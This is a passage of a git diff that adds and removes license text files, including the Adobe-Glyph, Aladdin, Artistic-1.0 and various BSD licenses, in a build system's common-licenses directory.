+You agree to indemnify, hold harmless and defend Adobe Systems Incorporated from and against any loss, damage, claims or lawsuits, including attorney's fees that arise or result from your use or distribution of the source code.
+
+THIS SOURCE CODE IS PROVIDED "AS IS" AND "WITH ALL FAULTS", WITHOUT ANY TECHNICAL SUPPORT OR ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. ALSO, THERE IS NO WARRANTY OF NON-INFRINGEMENT, TITLE OR QUIET ENJOYMENT. IN NO EVENT SHALL MACROMEDIA OR ITS SUPPLIERS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOURCE CODE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/Adobe-Glyph b/meta/files/common-licenses/Adobe-Glyph
new file mode 100644
index 0000000000..609651d82e
--- /dev/null
+++ b/meta/files/common-licenses/Adobe-Glyph
@@ -0,0 +1,10 @@
+Copyright (c) 1997,1998,2002,2007 Adobe Systems Incorporated
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this documentation file to use, copy, publish, distribute, sublicense, and/or sell copies of the documentation, and to permit others to do the same, provided that:
+
+ - No modification, editing or other alteration of this document is allowed; and
+ - The above copyright notice and this permission notice shall be included in all copies of the documentation.
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this documentation file, to create their own derivative works from the content of this document to use, copy, publish, distribute, sublicense, and/or sell the derivative works, and to permit others to do the same, provided that the derived work is not represented as being a copy or version of this document.
+
+Adobe shall not be liable to any party for any loss of revenue or profit or for indirect, incidental, special, consequential, or other similar damages, whether based on tort (including without limitation negligence or strict liability), contract or other legal or equitable grounds even if Adobe has been advised or had reason to know of the possibility of such damages. The Adobe materials are provided on an "AS IS" basis.Ê Adobe specifically disclaims all express, statutory, or implied warranties relating to the Adobe materials, including but not limited to those concerning merchantability or fitness for a particular purpose or non-infringement of any third party rights regarding the Adobe materials.
diff --git a/meta/files/common-licenses/Afmparse b/meta/files/common-licenses/Afmparse
new file mode 100644
index 0000000000..7c6d37ca65
--- /dev/null
+++ b/meta/files/common-licenses/Afmparse
@@ -0,0 +1,10 @@
+(C) 1988, 1989 by Adobe Systems Incorporated. All rights reserved.
+
+This file may be freely copied and redistributed as long as:
+
+ 1) This entire notice continues to be included in the file,
+ 2) If the file has been modified in any way, a notice of such modification is conspicuously indicated.
+
+PostScript, Display PostScript,and Adobe are registered trademarks of Adobe Systems Incorporated.
+
+THE INFORMATION BELOW IS FURNISHED AS IS, IS SUBJECT TO CHANGE WITHOUT NOTICE, AND SHOULD NOT BE CONSTRUED AS A COMMITMENT BY ADOBE SYSTEMS INCORPORATED. ADOBE SYSTEMS INCORPORATED ASSUMES NO RESPONSIBILITY OR LIABILITY FOR ANY ERRORS OR INACCURACIES, MAKES NO WARRANTY OF ANY KIND (EXPRESS, IMPLIED OR STATUTORY) WITH RESPECT TO THIS INFORMATION, AND EXPRESSLY DISCLAIMS ANY AND ALL WARRANTIES OF MERCHANTABILITY, FITNESS FOR PARTICULAR PURPOSES AND NONINFRINGEMENT OF THIRD PARTY RIGHTS.
diff --git a/meta/files/common-licenses/Aladdin b/meta/files/common-licenses/Aladdin
new file mode 100644
index 0000000000..5d71ff8ec5
--- /dev/null
+++ b/meta/files/common-licenses/Aladdin
@@ -0,0 +1,62 @@
+Aladdin Free Public License
+(Version 8, November 18, 1999)
+
+Copyright (C) 1994, 1995, 1997, 1998, 1999 Aladdin Enterprises, Menlo Park, California, U.S.A. All rights reserved.
+
+NOTE: This License is not the same as any of the GNU Licenses published by the Free Software Foundation. Its terms are substantially different from those of the GNU Licenses. If you are familiar with the GNU Licenses, please read this license with extra care.
+
+Aladdin Enterprises hereby grants to anyone the permission to apply this License to their own work, as long as the entire License (including the above notices and this paragraph) is copied with no changes, additions, or deletions except for changing the first paragraph of Section 0 to include a suitable description of the work to which the license is being applied and of the person or entity that holds the copyright in the work, and, if the License is being applied to a work created in a country other than the United States, replacing the first paragraph of Section 6 with an appropriate reference to the laws of the appropriate country.
+
+0. Subject Matter
+This License applies to the computer program known as "Aladdin Ghostscript." The "Program", below, refers to such program. The Program is a copyrighted work whose copyright is held by Aladdin Enterprises (the "Licensor"). Please note that Aladdin Ghostscript is neither the program known as "GNU Ghostscript" nor the version of Ghostscript available for commercial licensing from Artifex Software Inc.
+
+A "work based on the Program" means either the Program or any derivative work of the Program, as defined in the United States Copyright Act of 1976, such as a translation or a modification.
+
+BY MODIFYING OR DISTRIBUTING THE PROGRAM (OR ANY WORK BASED ON THE PROGRAM), YOU INDICATE YOUR ACCEPTANCE OF THIS LICENSE TO DO SO, AND ALL ITS TERMS AND CONDITIONS FOR COPYING, DISTRIBUTING OR MODIFYING THE PROGRAM OR WORKS BASED ON IT. NOTHING OTHER THAN THIS LICENSE GRANTS YOU PERMISSION TO MODIFY OR DISTRIBUTE THE PROGRAM OR ITS DERIVATIVE WORKS. THESE ACTIONS ARE PROHIBITED BY LAW. IF YOU DO NOT ACCEPT THESE TERMS AND CONDITIONS, DO NOT MODIFY OR DISTRIBUTE THE PROGRAM.
+
+1. Licenses.
+Licensor hereby grants you the following rights, provided that you comply with all of the restrictions set forth in this License and provided, further, that you distribute an unmodified copy of this License with the Program:
+
+ (a) You may copy and distribute literal (i.e., verbatim) copies of the Program's source code as you receive it throughout the world, in any medium.
+ (b) You may modify the Program, create works based on the Program and distribute copies of such throughout the world, in any medium.
+
+2. Restrictions.
+This license is subject to the following restrictions:
+
+ (a) Distribution of the Program or any work based on the Program by a commercial organization to any third party is prohibited if any payment is made in connection with such distribution, whether directly (as in payment for a copy of the Program) or indirectly (as in payment for some service related to the Program, or payment for some product or service that includes a copy of the Program "without charge"; these are only examples, and not an exhaustive enumeration of prohibited activities). The following methods of distribution involving payment shall not in and of themselves be a violation of this restriction:
+
+ (i) Posting the Program on a public access information storage and retrieval service for which a fee is received for retrieving information (such as an on-line service), provided that the fee is not content-dependent (i.e., the fee would be the same for retrieving the same volume of information consisting of random data) and that access to the service and to the Program is available independent of any other product or service. An example of a service that does not fall under this section is an on-line service that is operated by a company and that is only available to customers of that company. (This is not an exhaustive enumeration.)
+ (ii) Distributing the Program on removable computer-readable media, provided that the files containing the Program are reproduced entirely and verbatim on such media, that all information on such media be redistributable for non-commercial purposes without charge, and that such media are distributed by themselves (except for accompanying documentation) independent of any other product or service. Examples of such media include CD-ROM, magnetic tape, and optical storage media. (This is not intended to be an exhaustive list.) An example of a distribution that does not fall under this section is a CD-ROM included in a book or magazine. (This is not an exhaustive enumeration.)
+
+ (b) Activities other than copying, distribution and modification of the Program are not subject to this License and they are outside its scope. Functional use (running) of the Program is not restricted, and any output produced through the use of the Program is subject to this license only if its contents constitute a work based on the Program (independent of having been made by running the Program).
+
+ (c) You must meet all of the following conditions with respect to any work that you distribute or publish that in whole or in part contains or is derived from the Program or any part thereof ("the Work"):
+
+ (i) If you have modified the Program, you must cause the Work to carry prominent notices stating that you have modified the Program's files and the date of any change. In each source file that you have modified, you must include a prominent notice that you have modified the file, including your name, your e-mail address (if any), and the date and purpose of the change;
+ (ii) You must cause the Work to be licensed as a whole and at no charge to all third parties under the terms of this License;
+ (iii) If the Work normally reads commands interactively when run, you must cause it, at each time the Work commences operation, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty). Such notice must also state that users may redistribute the Work only under the conditions of this License and tell the user how to view the copy of this License included with the Work. (Exceptions: if the Program is interactive but normally prints or displays such an announcement only at the request of a user, such as in an "About box", the Work is required to print or display the notice only under the same circumstances; if the Program itself is interactive but does not normally print such an announcement, the Work is not required to print an announcement.);
+ (iv) You must accompany the Work with the complete corresponding machine-readable source code, delivered on a medium customarily used for software interchange. The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable code. If you distribute with the Work any component that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, you must also distribute the source code of that component if you have it and are allowed to do so;
+ (v) If you distribute any written or printed material at all with the Work, such material must include either a written copy of this License, or a prominent written indication that the Work is covered by this License and written instructions for printing and/or displaying the copy of the License on the distribution medium;
+ (vi) You may not impose any further restrictions on the recipient's exercise of the rights granted herein.
+
+If distribution of executable or object code is made by offering the equivalent ability to copy from a designated place, then offering equivalent ability to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source code along with the object code.
+
+3. Reservation of Rights.
+No rights are granted to the Program except as expressly set forth herein. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+4. Other Restrictions.
+If the distribution and/or use of the Program is restricted in certain countries for any reason, Licensor may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License.
+
+5. Limitations.
+THE PROGRAM IS PROVIDED TO YOU "AS IS," WITHOUT WARRANTY. THERE IS NO WARRANTY FOR THE PROGRAM, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL LICENSOR, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+6. General.
+This License is governed by the laws of the State of California, U.S.A., excluding choice of law rules.
+
+If any part of this License is found to be in conflict with the law, that part shall be interpreted in its broadest meaning consistent with the law, and no other parts of the License shall be affected.
+
+For United States Government users, the Program is provided with RESTRICTED RIGHTS. If you are a unit or agency of the United States Government or are acquiring the Program for any such unit or agency, the following apply:
+
+If the unit or agency is the Department of Defense ("DOD"), the Program and its documentation are classified as "commercial computer software" and "commercial computer software documentation" respectively and, pursuant to DFAR Section 227.7202, the Government is acquiring the Program and its documentation in accordance with the terms of this License. If the unit or agency is other than DOD, the Program and its documentation are classified as "commercial computer software" and "commercial computer software documentation" respectively and, pursuant to FAR Section 12.212, the Government is acquiring the Program and its documentation in accordance with the terms of this License.
diff --git a/meta/files/common-licenses/Artistic-1.0-Perl b/meta/files/common-licenses/Artistic-1.0-Perl
new file mode 100644
index 0000000000..dd45f4cd89
--- /dev/null
+++ b/meta/files/common-licenses/Artistic-1.0-Perl
@@ -0,0 +1,51 @@
+The "Artistic License"
+
+Preamble
+
+The intent of this document is to state the conditions under which a Package may be copied, such that the Copyright Holder maintains some semblance of artistic control over the development of the package, while giving the users of the package the right to use and distribute the Package in a more-or-less customary fashion, plus the right to make reasonable modifications.
+
+Definitions:
+
+ "Package" refers to the collection of files distributed by the Copyright Holder, and derivatives of that collection of files created through textual modification.
+
+ "Standard Version" refers to such a Package if it has not been modified, or has been modified in accordance with the wishes of the Copyright Holder as specified below.
+
+ "Copyright Holder" is whoever is named in the copyright or copyrights for the package.
+
+ "You" is you, if you're thinking about copying or distributing this Package.
+
+ "Reasonable copying fee" is whatever you can justify on the basis of media cost, duplication charges, time of people involved, and so on. (You will not be required to justify it to the Copyright Holder, but only to the computing community at large as a market that must bear the fee.)
+
+ "Freely Available" means that no fee is charged for the item itself, though there may be fees involved in handling the item. It also means that recipients of the item may redistribute it under the same conditions they received it.
+
+1. You may make and give away verbatim copies of the source form of the Standard Version of this Package without restriction, provided that you duplicate all of the original copyright notices and associated disclaimers.
+
+2. You may apply bug fixes, portability fixes and other modifications derived from the Public Domain or from the Copyright Holder. A Package modified in such a way shall still be considered the Standard Version.
+
+3. You may otherwise modify your copy of this Package in any way, provided that you insert a prominent notice in each changed file stating how and when you changed that file, and provided that you do at least ONE of the following:
+
+ a) place your modifications in the Public Domain or otherwise make them Freely Available, such as by posting said modifications to Usenet or an equivalent medium, or placing the modifications on a major archive site such as uunet.uu.net, or by allowing the Copyright Holder to include your modifications in the Standard Version of the Package.
+ b) use the modified Package only within your corporation or organization.
+ c) rename any non-standard executables so the names do not conflict with standard executables, which must also be provided, and provide a separate manual page for each non-standard executable that clearly documents how it differs from the Standard Version.
+ d) make other distribution arrangements with the Copyright Holder.
+
+4. You may distribute the programs of this Package in object code or executable form, provided that you do at least ONE of the following:
+
+ a) distribute a Standard Version of the executables and library files, together with instructions (in the manual page or equivalent) on where to get the Standard Version.
+ b) accompany the distribution with the machine-readable source of the Package with your modifications.
+ c) give non-standard executables non-standard names, and clearly document the differences in manual pages (or equivalent), together with instructions on where to get the Standard Version.
+ d) make other distribution arrangements with the Copyright Holder.
+
+5. You may charge a reasonable copying fee for any distribution of this Package. You may charge any fee you choose for support of this Package. You may not charge a fee for this Package itself. However, you may distribute this Package in aggregate with other (possibly commercial) programs as part of a larger (possibly commercial) software distribution provided that you do not advertise this Package as a product of your own. You may embed this Package's interpreter within an executable of yours (by linking); this shall be construed as a mere form of aggregation, provided that the complete Standard Version of the interpreter is so embedded.
+
+6. The scripts and library files supplied as input to or produced as output from the programs of this Package do not automatically fall under the copyright of this Package, but belong to whoever generated them, and may be sold commercially, and may be aggregated with this Package. If such scripts or library files are aggregated with this Package via the so-called "undump" or "unexec" methods of producing a binary executable image, then distribution of such an image shall neither be construed as a distribution of this Package nor shall it fall under the restrictions of Paragraphs 3 and 4, provided that you do not represent such an executable image as a Standard Version of this Package.
+
+7. C subroutines (or comparably compiled subroutines in other languages) supplied by you and linked into this Package in order to emulate subroutines and variables of the language defined by this Package shall not be considered part of this Package, but are the equivalent of input as in Paragraph 6, provided these subroutines do not change the language in any way that would cause it to fail the regression tests for the language.
+
+8. Aggregation of this Package with a commercial distribution is always permitted provided that the use of this Package is embedded; that is, when no overt attempt is made to make this Package's interfaces visible to the end user of the commercial distribution. Such use shall not be construed as a distribution of this Package.
+
+9. The name of the Copyright Holder may not be used to endorse or promote products derived from this software without specific prior written permission.
+
+10. THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+
+The End
diff --git a/meta/files/common-licenses/Artistic-1.0-cl8 b/meta/files/common-licenses/Artistic-1.0-cl8
new file mode 100644
index 0000000000..6f26f833d0
--- /dev/null
+++ b/meta/files/common-licenses/Artistic-1.0-cl8
@@ -0,0 +1,51 @@
+The Artistic License
+
+Preamble
+
+The intent of this document is to state the conditions under which a Package may be copied, such that the Copyright Holder maintains some semblance of artistic control over the development of the package, while giving the users of the package the right to use and distribute the Package in a more-or-less customary fashion, plus the right to make reasonable modifications.
+
+Definitions:
+
+ "Package" refers to the collection of files distributed by the Copyright Holder, and derivatives of that collection of files created through textual modification.
+
+ "Standard Version" refers to such a Package if it has not been modified, or has been modified in accordance with the wishes of the Copyright Holder.
+
+ "Copyright Holder" is whoever is named in the copyright or copyrights for the package.
+
+ "You" is you, if you're thinking about copying or distributing this Package.
+
+ "Reasonable copying fee" is whatever you can justify on the basis of media cost, duplication charges, time of people involved, and so on. (You will not be required to justify it to the Copyright Holder, but only to the computing community at large as a market that must bear the fee.)
+
+ "Freely Available" means that no fee is charged for the item itself, though there may be fees involved in handling the item. It also means that recipients of the item may redistribute it under the same conditions they received it.
+
+1. You may make and give away verbatim copies of the source form of the Standard Version of this Package without restriction, provided that you duplicate all of the original copyright notices and associated disclaimers.
+
+2. You may apply bug fixes, portability fixes and other modifications derived from the Public Domain or from the Copyright Holder. A Package modified in such a way shall still be considered the Standard Version.
+
+3. You may otherwise modify your copy of this Package in any way, provided that you insert a prominent notice in each changed file stating how and when you changed that file, and provided that you do at least ONE of the following:
+
+ a) place your modifications in the Public Domain or otherwise make them Freely Available, such as by posting said modifications to Usenet or an equivalent medium, or placing the modifications on a major archive site such as ftp.uu.net, or by allowing the Copyright Holder to include your modifications in the Standard Version of the Package.
+ b) use the modified Package only within your corporation or organization.
+ c) rename any non-standard executables so the names do not conflict with standard executables, which must also be provided, and provide a separate manual page for each non-standard executable that clearly documents how it differs from the Standard Version.
+ d) make other distribution arrangements with the Copyright Holder.
+
+4. You may distribute the programs of this Package in object code or executable form, provided that you do at least ONE of the following:
+
+ a) distribute a Standard Version of the executables and library files, together with instructions (in the manual page or equivalent) on where to get the Standard Version.
+ b) accompany the distribution with the machine-readable source of the Package with your modifications.
+ c) accompany any non-standard executables with their corresponding Standard Version executables, giving the non-standard executables non-standard names, and clearly documenting the differences in manual pages (or equivalent), together with instructions on where to get the Standard Version.
+ d) make other distribution arrangements with the Copyright Holder.
+
+5. You may charge a reasonable copying fee for any distribution of this Package. You may charge any fee you choose for support of this Package. You may not charge a fee for this Package itself. However, you may distribute this Package in aggregate with other (possibly commercial) programs as part of a larger (possibly commercial) software distribution provided that you do not advertise this Package as a product of your own.
+
+6. The scripts and library files supplied as input to or produced as output from the programs of this Package do not automatically fall under the copyright of this Package, but belong to whomever generated them, and may be sold commercially, and may be aggregated with this Package.
+
+7. C or perl subroutines supplied by you and linked into this Package shall not be considered part of this Package.
+
+8.Aggregation of this Package with a commercial distribution is always permitted provided that the use of this Package is embedded; that is, when no overt attempt is made to make this Package's interfaces visible to the end user of the commercial distribution. Such use shall not be construed as a distribution of this Package.
+
+9. The name of the Copyright Holder may not be used to endorse or promote products derived from this software without specific prior written permission.
+
+10. THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+
+The End
diff --git a/meta/files/common-licenses/BSD b/meta/files/common-licenses/BSD
deleted file mode 100644
index c7a0aa4f94..0000000000
--- a/meta/files/common-licenses/BSD
+++ /dev/null
@@ -1,26 +0,0 @@
-Copyright (c) The Regents of the University of California.
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions
-are met:
-1. Redistributions of source code must retain the above copyright
- notice, this list of conditions and the following disclaimer.
-2. Redistributions in binary form must reproduce the above copyright
- notice, this list of conditions and the following disclaimer in the
- documentation and/or other materials provided with the distribution.
-3. Neither the name of the University nor the names of its contributors
- may be used to endorse or promote products derived from this software
- without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
-ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
-ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
-FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
-DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
-OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
-HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
-LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
-OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
-SUCH DAMAGE.
diff --git a/meta/files/common-licenses/BSD-0-Clause b/meta/files/common-licenses/BSD-0-Clause
deleted file mode 100644
index 328bdd6aee..0000000000
--- a/meta/files/common-licenses/BSD-0-Clause
+++ /dev/null
@@ -1,12 +0,0 @@
-Copyright (C) <YEAR> by <OWNER>
-
-Permission to use, copy, modify, and/or distribute this software for any
-purpose with or without fee is hereby granted.
-
-THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
-WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
-ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
-WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
-ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
-OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
diff --git a/meta/files/common-licenses/BSD-2-Clause-Views b/meta/files/common-licenses/BSD-2-Clause-Views
new file mode 100644
index 0000000000..be605e314d
--- /dev/null
+++ b/meta/files/common-licenses/BSD-2-Clause-Views
@@ -0,0 +1,11 @@
+Copyright (c) <year> <owner> All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+The views and conclusions contained in the software and documentation are those of the authors and should not be interpreted as representing official policies, either expressed or implied, of the copyright holders or contributors.
diff --git a/meta/files/common-licenses/BSD-3-Clause-Attribution b/meta/files/common-licenses/BSD-3-Clause-Attribution
new file mode 100644
index 0000000000..6dcab5eff0
--- /dev/null
+++ b/meta/files/common-licenses/BSD-3-Clause-Attribution
@@ -0,0 +1,11 @@
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+ 4. Redistributions of any form whatsoever must retain the following acknowledgment: 'This product includes software developed by the "Universidad de Palermo, Argentina" (http://www.palermo.edu/).'
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/BSD-3-Clause-Clear b/meta/files/common-licenses/BSD-3-Clause-Clear
new file mode 100644
index 0000000000..c6e95da6aa
--- /dev/null
+++ b/meta/files/common-licenses/BSD-3-Clause-Clear
@@ -0,0 +1,32 @@
+The Clear BSD License
+
+Copyright (c) [xxxx]-[xxxx] [Owner Organization]
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted (subject to the limitations in the disclaimer
+below) provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice,
+ this list of conditions and the following disclaimer.
+
+ * Redistributions in binary form must reproduce the above copyright
+ notice, this list of conditions and the following disclaimer in the
+ documentation and/or other materials provided with the distribution.
+
+ * Neither the name of [Owner Organization] nor the names of its
+ contributors may be used to endorse or promote products derived from this
+ software without specific prior written permission.
+
+NO EXPRESS OR IMPLIED LICENSES TO ANY PARTY'S PATENT RIGHTS ARE GRANTED BY
+THIS LICENSE. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND
+CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
+PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
+CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
+BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER
+IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/BSD-3-Clause-LBNL b/meta/files/common-licenses/BSD-3-Clause-LBNL
new file mode 100644
index 0000000000..ab94601aed
--- /dev/null
+++ b/meta/files/common-licenses/BSD-3-Clause-LBNL
@@ -0,0 +1,12 @@
+Copyright (c) 2003, The Regents of the University of California, through Lawrence Berkeley National Laboratory (subject to receipt of any required approvals from the U.S. Dept. of Energy). All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+(1) Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+(2) Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+(3) Neither the name of the University of California, Lawrence Berkeley National Laboratory, U.S. Dept. of Energy nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
